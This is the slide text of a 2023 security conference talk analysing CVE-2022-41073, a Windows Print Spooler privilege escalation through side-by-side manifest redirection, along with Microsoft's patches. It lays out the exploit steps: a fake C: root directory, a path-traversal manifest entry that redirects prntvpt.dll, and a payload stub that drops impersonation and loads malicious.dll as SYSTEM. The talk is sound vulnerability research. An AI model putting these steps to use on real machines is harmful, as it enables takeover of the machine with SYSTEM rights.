OffensiveCon2023.PrintSpooler
OffensiveCon2023.PrintSpooler
OffensiveCon2023.PrintSpooler
James Forshaw
OffensiveCon 2023
CVE-2022-41073
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41073.html
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41073
Oct 2022 - winspool.drv!LoadNewCopy
HMODULE LoadNewCopy(LPCWSTR DllPath, DWORD dwFlags) {
ULONG_PTR ulCookie;
ActivateActCtx(ACTCTX_EMPTY, &ulCookie);
HMODULE hModule = LoadLibraryExW(DllPath, NULL, dwFlags);
// ...
}
Nov 2022 - winspool.drv!LoadNewCopy
HMODULE LoadNewCopy(LPCWSTR DllPath, DWORD dwFlags) {
ULONG_PTR ulCookie;
ActivateActCtx(ACTCTX_EMPTY, &ulCookie);
HMODULE hModule;
HANDLE hToken;
+ if (RevertToProcess(&hToken)) {
hModule = LoadLibraryExW(DllPath, NULL, dwFlags);
+ ResumeImpersonation(hToken);
}
// ...
}
https://bugs.chromium.org/p/project-zero/issues/detail?id=240
Impersonating Caller
LoadLibrary(SharedLibrary.dll)
C:\
Windows\System32\SharedLibrary.dll
Impersonating Caller
LoadLibrary(SharedLibrary.dll)
Windows\System32\SharedLibrary.dll Windows\System32\SharedLibrary.dll
https://twitter.com/tiraniddo/status/590931788006084609
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
What's in a MANIFEST?
DLL Hell
Application A
SharedLibrary.dll
(version 2)
C:\Windows\System32
DLL Hell
Application A Application B
SharedLibrary.dll
(version 1)
C:\Windows\System32
DLL Hell
Application A Application B
SharedLibrary.dll
(version 1)
C:\Windows\System32
Side by Side Assemblies
Application A Application B
SharedLibrary.dll SharedLibrary.dll
(version 2) (version 1)
C:\Windows\WinSxS
PE Imports
No Version
Information
Version
information but
not detailed
Application Manifest File Identity of the
"Assembly"
<assembly>
<assemblyIdentity name="App.A" version="1.0.0.0"/>
<description>My APP A</description>
<dependency>
<dependentAssembly> Dependencies of this Assembly
<assemblyIdentity
name="SharedLibrary"
version="2.0.0.0" processorArchitecture="*"
publicKeyToken="6595b64144ccf1df" language="*" />
</dependentAssembly>
</dependency>
</assembly>
Using a Manifest
Application A
Application Manifest
<assembly>
...
<dependency>
<dependentAssembly>
<assemblyIdentity
name="SharedLibrary"
version="2.0.0.0" />
</dependentAssembly>
</dependency>
</assembly>
Assembly Searching Sequence
CSRSS
SXSSRV Version 2.0.1234.0
Application A
Application Manifest
<assembly>
...
<dependency>
<dependentAssembly>
<assemblyIdentity
name="SharedLibrary"
version="2.0.0.0" />
</dependentAssembly>
</dependency>
HKLM\SOFTWARE\Microsoft\Windows\
</assembly>
CurrentVersion\SideBySide
Assembly Searching Sequence
CSRSS
SXSSRV
Application A
Assembly Manifest
<assembly>
<assemblyIdentity
Application Manifest name="SharedLibrary"
version="2.0.1234.0"/>
<assembly>
<file name="SharedLibrary.dll"/>
...
...
<dependency>
</assembly>
<dependentAssembly>
<assemblyIdentity
name="SharedLibrary"
version="2.0.0.0" />
</dependentAssembly>
</dependency> C:\Windows\WinSxS\Manifests\
</assembly>
amd64_sharedlibrary_6595b64144ccf1df_2.0.1234.0.manifest
Assembly Searching Sequence
CSRSS
SXSSRV
Application A
Application Manifest
<assembly>
...
<dependency>
<dependentAssembly>
Activation Context
<assemblyIdentity
name="SharedLibrary"
version="2.0.0.0" />
</dependentAssembly>
</dependency>
</assembly>
Assembly Manifest File
<assembly>
<assemblyIdentity name="SharedLibrary" version="2.0.1234.0"/>
<dependency> More dependencies
<dependentAssembly>
<assemblyIdentity
name="SharedLibrary.resources" version="2.0.0.0"/>
</dependentAssembly>
</dependency>
<file name="SharedLibrary.dll"/> Assembly resources
</assembly>
Load DLL From Assembly Directory
Application A C:\Windows\WinSxS\amd64_sharedlibrary_6595b64
144ccf1df_2.0.1234.0
Load
SharedLibrary.dll
LdrLoadDll(...)
Activation Context
SharedLibrary.dll
https://www.microsoft.com/en-us/security/blog/2022/07/27/untangling-knotweed-euro
pean-private-sector-offensive-actor-using-0-day-exploits
Exploiting Activation Context Caching
CSRSS
SXSSRV Key Activation Context Cache
C:\Windows\WinSxS\Manifests\
amd64_sharedlibrary_6595b64144ccf1df_2.0.1234.0.manifest
Malicious Application
Exploiting Activation Context Caching
CSRSS
SXSSRV Key Activation Context Cache
☠Assembly Manifest
Application
<assembly>
...
☠Activation
<file loadFrom="c:\evil.dll"
name="SharedLibrary.dll"/>
</assembly>
Context
evil.dll
Weak Caching Key
https://bugs.chromium.org/p/project-zero/issues/detail?id=1749
https://www.zerodayinitiative.com/blog/2023/1/23/activation-context-cache-poisoning-exploiting-csrss-for-privilege-escalation
Parsing the Manifest during DLL Loading
NTSTATUS BasepProbeForDllManifest(HMODULE DllHandle,
PCWSTR FullDllName,
HANDLE *ActCtx) {
NTSTATUS result = LdrResFindResourceDirectory(DllHandle, Check for isolation
RT_MANIFEST, ISOLATIONAWARE_MANIFEST_RESOURCE_ID); aware manifest
if (NT_SUCCESS(result)) {
ACTCTX config;
config.lpSource = FullDllName; Create an activation context
config.lpResourceName = MAKEINTRESOURCE(ISOLATIONAWARE_MANIFEST_RESOURCE_ID);
config.hModule = DllHandle;
*ActCtx = CreateActCtxW(&context);
if (*ActCtx == INVALID_HANDLE_VALUE) {
return NtCurrentTeb()->LastStatusValue;
}
return result;
The Exploit
C:\MyFakeRoot
├── malicious.dll
├── MyFakeRoot
│ ├── MyFakeRoot.MANIFEST
│ └── prntvpt.dll
├── prntvpt.dll
├── temp.xml
└── Windows
├── System32
│ └── DriverStore
│ └── FileRepository
│ └── prnms003.inf_amd64_454b8d4f31e80f7d
│ └── Amd64
│ └── PrintConfig.dll
└── WinSxS
└── Manifests
├──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647.manifest
└──
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e.manifest
Does PrintConfig.dll have an Isolation Aware Manifest?
exploit.exe
csrss.exe
C:\Windows\WinSxS
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
LoadLibrary(PrintConfig.dll)
csrss.exe
C:\Windows\WinSxS
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
LoadLibrary(PrintConfig.dll)
csrss.exe
SXSSRV
C:\Windows\WinSxS
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
LoadLibrary(PrintConfig.dll)
csrss.exe
SXSSRV
Windows/WinSxS
C:\Windows\WinSxS
Exploit Adds to Common Controls SxS Manifests
<dependentAssembly>
<assemblyIdentity
name="..\..\..\..\..\..\MyFakeRoot\MyFakeRoot"
version="1.0.0.0"
processorArchitecture="amd64"
language="*"
publicKeyToken="6595b64144ccf1df"
type="win32" />
</dependentAssembly>
Exploit Adds to Common Controls SxS Manifests
<dependentAssembly>
<assemblyIdentity
name="..\..\..\..\..\..\MyFakeRoot\MyFakeRoot"
version="1.0.0.0"
processorArchitecture="amd64"
language="*"
publicKeyToken="6595b64144ccf1df"
type="win32" />
</dependentAssembly>
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
LoadLibrary(PrintConfig.dll)
csrss.exe
SXSSRV
MyFakeRoot\MyFakeRoot.MANIFEST
C:\Windows\WinSxS
MyFakeRoot.MANIFEST
<assembly>
<assemblyIdentity
name="..\..\..\..\..\..\MyFakeRoot\MyFakeRoot"
version="1.0.0.0"
processorArchitecture="amd64"
publicKeyToken="6595b64144ccf1df"
type="win32" />
<file name="prntvpt.dll"/>
</assembly>
MyFakeRoot.MANIFEST
<assembly>
<assemblyIdentity
name="..\..\..\..\..\..\MyFakeRoot\MyFakeRoot"
version="1.0.0.0"
processorArchitecture="amd64" Redirect prntvpt.dll
publicKeyToken="6595b64144ccf1df"
type="win32" />
<file name="prntvpt.dll"/>
</assembly>
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
Impersonating Caller
LoadLibrary(PrintConfig.dll)
Fake C:\ (MyFakeRoot)
Activation Context
MyFakeRoot\prntvpt.dll
csrss.exe
Impersonating Caller
SXSSRV
Modification to prntvpt.dll
ATL::_dynamic_initializer_for::AtlBaseModule::()
HMODULE AutoMapNamedElementOnVisit(...) {
SetThreadToken(NULL, NULL);
return LoadLibraryExW(L"C:\\MyFakeRoot\\malicious.dll",
NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
Modification to prntvpt.dll
ATL::_dynamic_initializer_for::AtlBaseModule::()
HMODULE AutoMapNamedElementOnVisit(...) {
Turns off impersonation
SetThreadToken(NULL, NULL);
return LoadLibraryExW(L"C:\\MyFakeRoot\\malicious.dll",
NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
Modification to prntvpt.dll
ATL::_dynamic_initializer_for::AtlBaseModule::()
HMODULE AutoMapNamedElementOnVisit(...) {
SetThreadToken(NULL, NULL);
return LoadLibraryExW(L"C:\\MyFakeRoot\\malicious.dll",
NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
Load final payload DLL.
Normal User – MEDIUM integrity SYSTEM integrity
printfilterpipelinesvc.exe
PrintConfig.dll
(fake) prntvpt.dll
MyFakeRoot\malicious.dll
☠ malicious.dll ☠
Nov 2022 - winspool.drv!LoadNewCopy
HMODULE LoadNewCopy(LPCWSTR DllPath, DWORD dwFlags) {
ULONG_PTR ulCookie;
ActivateActCtx(ACTCTX_EMPTY, &ulCookie);
HMODULE hModule;
HANDLE hToken;
+ if (RevertToProcess(&hToken)) {
hModule = LoadLibraryExW(DllPath, NULL, dwFlags);
+ ResumeImpersonation(hToken);
}
// ...
}
Dec 2022 - sxssrv!BasepSxsCreateFileStreamEx
HANDLE hFile;
NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, ...)
Dec 2022 - sxssrv!BasepSxsCreateFileStreamEx
HANDLE hFile;
NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, ...)
Dec 2022 - sxssrv!BasepSxsCreateFileStreamEx
HANDLE hFile;
NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, ...)
Dec 2022 - sxssrv!BasepSxsCreateFileStreamEx
HANDLE hFile;
NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, ...)
Dec 2022 - kernel32!BasepCreateActCtx
DWORD dwFlags = 0;
if (AssemblyManifestRedirectTrust::IsEnabled()) {
if (IsSystemProcess())
dwFlags |= 0x1000;
if (NtCurrentTeb()->IsImpersonating)
dwFlags |= 0x2000;
if (((dwFlags & 0x3000) == 0x3000) &&
KernelBaseAssemblyManifestIgnoreImpersonated) {
dwFlags |= 0x4000;
}
}
CsrBasepCreateActCtxCommon(dwFlags, ...);
Dec 2022 - kernel32!BasepCreateActCtx
DWORD dwFlags = 0;
if (AssemblyManifestRedirectTrust::IsEnabled()) {
if (IsSystemProcess()) Checks for "System"
dwFlags |= 0x1000; Integrity Level
if (NtCurrentTeb()->IsImpersonating)
dwFlags |= 0x2000; Is the thread currently
impersonating?
if (((dwFlags & 0x3000) == 0x3000) &&
KernelBaseAssemblyManifestIgnoreImpersonated) {
dwFlags |= 0x4000;
}
}
CsrBasepCreateActCtxCommon(dwFlags, ...);
Dec 2022 - kernel32!BasepCreateActCtx
DWORD dwFlags = 0;
if (AssemblyManifestRedirectTrust::IsEnabled()) {
if (IsSystemProcess())
dwFlags |= 0x1000;
Is mitigation enabled? If
if (NtCurrentTeb()->IsImpersonating)
so final flags is 0x7000.
dwFlags |= 0x2000;
if (((dwFlags & 0x3000) == 0x3000) &&
KernelBaseAssemblyManifestIgnoreImpersonated) {
dwFlags |= 0x4000;
}
}
CsrBasepCreateActCtxCommon(dwFlags, ...);
Dec 2022 - kernelbase!SetProcessMitigationPolicy
// ...
// ...
Dec 2022 - kernelbase!SetProcessMitigationPolicy
Enumerated value 17, this is the SDK name which is
clearly wrong!
// ...
// ...
Dec 2022 - kernelbase!SetProcessMitigationPolicy
// ...
// ...
+ DWORD Policy = TRUE;
+ SetProcessMitigationPolicy(ProcessUserPointerAuthPolicy,
+ &Policy, sizeof(Policy));
// ...
CVE-2022-41073 Root Cause
The user can remap the root drive (C:\) for privileged processes
during impersonation.
A design flaw which has been known about since at least 2015.
Variant Analysis
Normal User – MEDIUM integrity SYSTEM integrity
sv. exe
ol
spo
printfilterpipelinesvc.exe
LoadLibrary(PrintConfig.dll)
csrss.exe
SXSSRV
Windows/WinSxS
C:\Windows\WinSxS
May 2022 – localspl.dll
void PrintConfigDataHelper::CreateConfigProviderHandle() {
LPCWSTR lpConfigPath = GetConfigFilePath();
if (lpConfigPath && RevertToPrinterSelf()) {
hModule = LoadLibrary(lpConfigPath);
ImpersonatePrinterClient();
}
// ...
}
May 2022 – spoolsv!EnableMitigations
DWORD Policy = GetSpoolerRedirectionPolicy();
SetProcessMitigationPolicy(ProcessRedirectionTrustPolicy,
&Policy, sizeof(Policy));
// ...
if (MSRC70412_PrintManifestRedirectOptIn::IsEnabled()) {
Policy = TRUE;
SetProcessMitigationPolicy(ProcessUserPointerAuthPolicy,
&Policy, sizeof(Policy));
}
// ...
Find DLL Loads using Process Monitor
Needs to be "IsolationAware"
Maddie Stone
James Forshaw